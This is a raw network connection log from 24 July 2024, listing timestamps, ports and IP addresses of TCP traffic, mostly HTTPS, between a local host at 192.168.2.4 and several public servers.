Jul 24, 2024 02:39:26.435652971 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.435926914 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.436089039 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.442517042 CEST	49791	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.442555904 CEST	443	49791	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.442609072 CEST	49791	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.442960978 CEST	49792	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.443038940 CEST	443	49792	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.443125010 CEST	443	49791	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.444875956 CEST	49791	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.444953918 CEST	49792	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.446000099 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.446135998 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.446675062 CEST	49792	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.446707964 CEST	443	49792	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.447743893 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.447781086 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.577848911 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.696068048 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.696103096 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.701133013 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.701174974 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.703231096 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.703262091 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.703310966 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.710354090 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.710376024 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.717458963 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.718291044 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.718308926 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.719367981 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.725939035 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.753541946 CEST	49794	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.753593922 CEST	443	49794	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.753711939 CEST	49795	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.753810883 CEST	443	49795	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.754019022 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.759598017 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.759613037 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.759691000 CEST	49794	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.760216951 CEST	49794	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.760242939 CEST	443	49794	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.763313055 CEST	49795	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.764863968 CEST	49795	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.764905930 CEST	443	49795	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.785698891 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.785744905 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.785765886 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.786624908 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.786640882 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.793268919 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.794329882 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.794374943 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.801558971 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.805044889 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.808289051 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.808303118 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.809619904 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.815861940 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.815888882 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.817002058 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.817033052 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.817552090 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:26.817595959 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:26.818325996 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.818362951 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:26.818490982 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.818531990 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.818633080 CEST	443	49787	142.250.185.142	192.168.2.4
Jul 24, 2024 02:39:26.823285103 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.823285103 CEST	49787	443	192.168.2.4	142.250.185.142
Jul 24, 2024 02:39:26.830951929 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:26.830974102 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:26.903574944 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:26.903616905 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:26.913290977 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:26.916865110 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:26.916881084 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:26.924276114 CEST	443	49792	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.927706957 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.927782059 CEST	443	49798	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.928318977 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.928436041 CEST	49792	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.931346893 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.931423903 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.931499958 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.931519032 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.931655884 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.931675911 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.933821917 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.933859110 CEST	443	49798	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.942692995 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.942692995 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.942702055 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.943145990 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.943170071 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.943314075 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.943347931 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.943438053 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:26.943461895 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:26.947140932 CEST	49792	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.947194099 CEST	443	49792	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.947308064 CEST	49792	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:26.947690964 CEST	443	49792	35.190.72.216	192.168.2.4
Jul 24, 2024 02:39:26.948060036 CEST	49792	443	192.168.2.4	35.190.72.216
Jul 24, 2024 02:39:27.198492050 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:27.198595047 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:27.202552080 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:27.202821970 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:27.202861071 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:27.224961042 CEST	443	49794	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.227178097 CEST	49794	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.227196932 CEST	443	49794	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.227709055 CEST	443	49794	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.228363037 CEST	49794	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.228461027 CEST	443	49794	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.233721972 CEST	443	49795	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.238178015 CEST	49795	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.238208055 CEST	443	49795	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.239425898 CEST	443	49795	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.240151882 CEST	49795	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.240350962 CEST	443	49795	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.292690039 CEST	49794	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.312601089 CEST	49809	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.312650919 CEST	443	49809	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.312880993 CEST	49810	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.312891960 CEST	443	49810	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.313061953 CEST	49809	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.313203096 CEST	49810	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.313963890 CEST	49810	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.313980103 CEST	443	49810	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.314080954 CEST	49809	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.314091921 CEST	443	49809	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.403183937 CEST	49795	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.419667006 CEST	443	49798	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.421459913 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.423707008 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.423741102 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.423839092 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.423856020 CEST	443	49798	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.425228119 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.425242901 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.425327063 CEST	443	49798	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.427030087 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.429785967 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.430025101 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.431577921 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.431637049 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.432598114 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.432879925 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.432914972 CEST	443	49798	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.433008909 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.433082104 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.433098078 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.434186935 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.435236931 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.435302019 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.435388088 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.435987949 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.436002970 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.437431097 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.437443972 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.437549114 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.437891006 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.437972069 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.469664097 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.471103907 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.471132994 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.471631050 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.471709967 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.472630978 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.472982883 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.477483034 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.477562904 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.477832079 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.479198933 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.479219913 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.479258060 CEST	443	49801	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.479273081 CEST	443	49799	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.509300947 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.509304047 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.509356976 CEST	443	49800	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.509363890 CEST	443	49798	172.64.41.3	192.168.2.4
Jul 24, 2024 02:39:27.524508953 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.546665907 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.546742916 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.546941042 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.547324896 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.547364950 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.586288929 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.586301088 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.586304903 CEST	49801	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.586309910 CEST	49799	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.604123116 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.638780117 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.638840914 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.639197111 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.639204979 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.639791965 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.646051884 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.646073103 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.646466017 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.646528959 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.646635056 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.661055088 CEST	49815	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:27.665879011 CEST	80	49815	34.107.221.82	192.168.2.4
Jul 24, 2024 02:39:27.666980982 CEST	49815	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:27.667171955 CEST	49815	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:27.671962023 CEST	80	49815	34.107.221.82	192.168.2.4
Jul 24, 2024 02:39:27.692315102 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.692498922 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.707308054 CEST	49800	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.707338095 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.707349062 CEST	49798	443	192.168.2.4	172.64.41.3
Jul 24, 2024 02:39:27.707367897 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.778033018 CEST	443	49810	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.778577089 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.779481888 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.783298016 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.802172899 CEST	443	49809	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.814258099 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.824184895 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:27.835526943 CEST	49796	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.835552931 CEST	443	49796	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.835658073 CEST	49810	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.835688114 CEST	443	49810	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.836874008 CEST	443	49810	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.837750912 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.837829113 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.838104010 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.839445114 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.839478970 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.840759993 CEST	49809	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.840775013 CEST	443	49809	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.840837955 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:27.840852976 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:27.841264009 CEST	443	49809	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.841626883 CEST	49810	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.841854095 CEST	443	49810	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:27.844750881 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:27.845196009 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:27.916872978 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.917459965 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.920342922 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.921284914 CEST	49797	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.921324968 CEST	443	49797	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.922955036 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.923052073 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.929133892 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.932943106 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:27.932984114 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:27.943986893 CEST	49809	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:27.944241047 CEST	443	49809	162.159.61.3	192.168.2.4
Jul 24, 2024 02:39:28.010384083 CEST	49810	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:28.010384083 CEST	49809	443	192.168.2.4	162.159.61.3
Jul 24, 2024 02:39:28.053873062 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:28.054248095 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:28.058465004 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:28.058521032 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:28.140940905 CEST	80	49815	34.107.221.82	192.168.2.4
Jul 24, 2024 02:39:28.174705982 CEST	49819	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:28.174848080 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:28.175066948 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:28.175102949 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:28.175148964 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:28.175215960 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:28.179414988 CEST	80	49819	34.107.221.82	192.168.2.4
Jul 24, 2024 02:39:28.180414915 CEST	49819	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:28.182401896 CEST	49819	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:28.186709881 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.187118053 CEST	80	49819	34.107.221.82	192.168.2.4
Jul 24, 2024 02:39:28.196732044 CEST	49804	443	192.168.2.4	20.75.60.91
Jul 24, 2024 02:39:28.196753025 CEST	443	49804	20.75.60.91	192.168.2.4
Jul 24, 2024 02:39:28.210481882 CEST	49815	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:28.226037025 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.226106882 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.227330923 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.229840040 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.231209040 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.236197948 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.236219883 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.238646030 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.238800049 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.238818884 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.238843918 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.238986015 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.288204908 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.288233995 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.467706919 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.474663973 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.480021954 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.488953114 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.488985062 CEST	49814	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.489011049 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.489012957 CEST	443	49814	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.490206957 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.490696907 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.492707014 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.493168116 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.493670940 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.493820906 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.493820906 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.493835926 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.493859053 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.540508032 CEST	443	49816	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.578886032 CEST	49822	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.578917027 CEST	443	49822	13.107.246.40	192.168.2.4
Jul 24, 2024 02:39:28.582175016 CEST	49822	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.582695961 CEST	49822	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.582714081 CEST	443	49822	13.107.246.40	192.168.2.4
Jul 24, 2024 02:39:28.592513084 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.596785069 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.596816063 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.597177029 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.597239971 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.598155975 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.600400925 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.608500957 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.608562946 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.608778954 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.608795881 CEST	49817	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.608804941 CEST	443	49817	142.250.186.142	192.168.2.4
Jul 24, 2024 02:39:28.635212898 CEST	80	49819	34.107.221.82	192.168.2.4
Jul 24, 2024 02:39:28.641010046 CEST	49823	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.641072035 CEST	443	49823	13.107.246.40	192.168.2.4
Jul 24, 2024 02:39:28.641239882 CEST	49823	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.641436100 CEST	49823	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.641457081 CEST	443	49823	13.107.246.40	192.168.2.4
Jul 24, 2024 02:39:28.642273903 CEST	49824	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.642318010 CEST	443	49824	13.107.246.40	192.168.2.4
Jul 24, 2024 02:39:28.642841101 CEST	49824	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.643023968 CEST	49824	443	192.168.2.4	13.107.246.40
Jul 24, 2024 02:39:28.643040895 CEST	443	49824	13.107.246.40	192.168.2.4
